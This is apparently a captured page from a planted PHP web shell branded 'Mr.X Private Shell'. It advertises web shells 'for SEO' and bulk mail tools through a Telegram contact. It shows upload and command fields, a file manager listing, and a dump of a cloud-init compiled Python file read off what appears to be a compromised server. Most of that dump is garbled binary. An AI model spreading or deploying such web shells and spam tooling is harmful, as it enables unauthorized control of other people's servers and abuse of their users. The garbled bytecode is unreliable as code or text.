__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[hZ����SrSSKrSSKrSSKrSSKJr SSKJr SSKJ	r	 Sr
\R"\5r
SrSrS	rSS
jrSSjrSrS
r\S:Xa\R*"\"55 gg)z0Generate multi-part mime messages for user-data.�N)�
MIMEMultipart)�MIMEText)�INCLUSION_TYPES_MAPz	make-mimezUExample: make-mime -a config.yaml:cloud-config -a script.sh:x-shellscript > user-datac���/n/n[U5H�unupEnUR5n[Xv[R"55nURSSU-5 UR
5R5n	U	[5;aSU	<SUS-<S3n
URU
5 URU5 M� [5nUHn
URU
5 M X�4$)NzContent-Dispositionzattachment; filename="%s"z
content type z for attachment �z may be incorrect!)�	enumerate�readr�sys�getdefaultencoding�
add_header�get_content_type�lower�get_content_types�appendr�attach)�files�sub_messages�errors�i�fh�filename�format_type�contents�sub_message�content_type�msg�combined_messages            �?/usr/lib/python3/dist-packages/cloudinit/cmd/devel/make_mime.py�create_mime_messagers����L�
�F�*3�E�*:�&��&�B�+��7�7�9���x�c�6L�6L�6N�O�����!�#>�(�#K�	
�#�3�3�5�;�;�=���0�2�2���A���C�
�M�M�#�����K�(�+;�%���������$���%�%�c��URSS5up[US5XR54$![a n[R
"USU-5UeSnAff=f)z@Return file content type by reading the first line of the input.�:r�rzInvalid value for %rN)�split�open�strip�
ValueError�argparse�
ArgumentError)�textrr�es    r�file_content_typer,.sf���!%���C��!3����X�s�#�X�/A�/A�/C�D�D�����$�$��(�D�1�
��	���s�/2�
A�A�Ac���U(d[R"5n[Ul[UlUR
SSS[S/SSS9 UR
SS	S
SSS
9 UR
SSS
SSS
9 U$)a
Build or extend and arg parser for make-mime utility.

@param parser: Optional existing ArgumentParser instance representing the
    subcommand which will be extended to support the args of this utility.

@returns: ArgumentParser with proper argument configuration.
z-az--attachrrz<file>:<content-type>z3attach the given file as the specified content-type)�dest�type�action�default�metavar�helpz-lz--list-types�
store_trueFz&List support cloud-init content types.)r0r1r3z-fz--forcez$Ignore unknown content-type warnings)r(�ArgumentParser�__doc__�description�EPILOG�epilog�add_argumentr,)�parsers r�
get_parserr<9s�����(�(�*�� �F���F�M�
�����
�
���'�
B��	��������
5����������
3����Mr c	��[[R"5Vs/sHnU(aURSS5OUPM  sn5$s snf)z�Return a list of cloud-init supported content types.  Optionally
strip out the leading 'text/' of the type if strip_prefix=True.
ztext/�)�sortedr�values�replace)�strip_prefix�ctypes  rrrasN���-�3�3�5�	
�5��+7�E�M�M�'�2�&�E�A�5�	
����	
s�%A	c��UR(a"[SR[SS955 g[	UR
5up#U(atUR(aSOSnUH(n[RRUSUS35 M* [RRS5 UR(dg	[U5 g)
a(Create a multi-part MIME archive for use as user-data.  Optionally
   print out the list of supported content types of cloud-init.

Also setup CLI log handlers to report to stderr since this is a development
utility which should be run by a human on the CLI.

@return 0 on success, 1 on failure.
�
T)rBr�WARNING�ERRORz: z-Invalid content-types, override with --force
r)
�
list_types�print�joinrrr�forcer
�stderr�write)�name�argsrr�level�errors      r�handle_argsrRms������
�d�i�i�)�t�<�=�>��2�4�:�:�>���
�!�Z�Z�	�W���E��J�J����w�b���r�2�3���
�
���I�J��z�z��	�
��r c�R�[5R5n[[U5$�N)r<�
parse_argsrR�NAME)rOs r�mainrW�s���<�"�"�$�D��t�T�"�"r �__main__rT)F)r6r(�loggingr
�email.mime.multipartr�email.mime.textr�cloudinit.handlersrrV�	getLogger�__name__�LOGr8rr,r<rrRrW�exit�r r�<module>rbsw��
7���
�.�$�2���
����!��-��&�.�%�P	�
�2#�
�z���H�H�T�V��r 

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 1.14 KB 0644
hotplug_hook.cpython-313.pyc File 15.97 KB 0644
logs.cpython-313.pyc File 17.96 KB 0644
make_mime.cpython-313.pyc File 5.4 KB 0644
net_convert.cpython-313.pyc File 7.52 KB 0644
parser.cpython-313.pyc File 1.76 KB 0644
render.cpython-313.pyc File 4.53 KB 0644
Filemanager